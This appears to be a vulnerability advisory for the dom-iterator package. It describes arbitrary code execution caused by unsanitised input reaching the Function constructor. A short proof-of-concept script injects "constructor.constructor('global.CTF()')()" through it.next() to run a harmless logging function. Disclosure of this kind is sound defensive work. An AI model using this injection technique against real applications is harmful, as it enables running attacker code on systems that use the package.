Arbitrary Code Execution Affecting dom-iterator package, versions *

dom-iterator is a feature-rich, well-tested Iterator for traversing DOM nodes.

Affected versions of this package are vulnerable to Arbitrary Code Execution due to use of the Function constructor without complete input sanitization. Function generates a new function body and thus care must be given to ensure that the inputs to Function are not attacker-controlled. The risks involved are similar to that of allowing attacker-controlled input to reach eval.

Executing this code will cause the code console.log("GLOBAL.CTF HIT") to be executed, leading to the output of the string 'GLOBAL.CTF HIT' to the console.

var PUT = require('dom-iterator');
global.CTF = function() { console.log("GLOBAL.CTF HIT") } // We want to prove we can execute this by using the package

var parser = require('mini-html-parser');
var html = '<h1></h1>'; // Any non-empty html should work
var parser = parser(html);
var node = parser.parse();
var it = PUT(node);
var next;
while (next = it.next("constructor.constructor('global.CTF()')()")) { }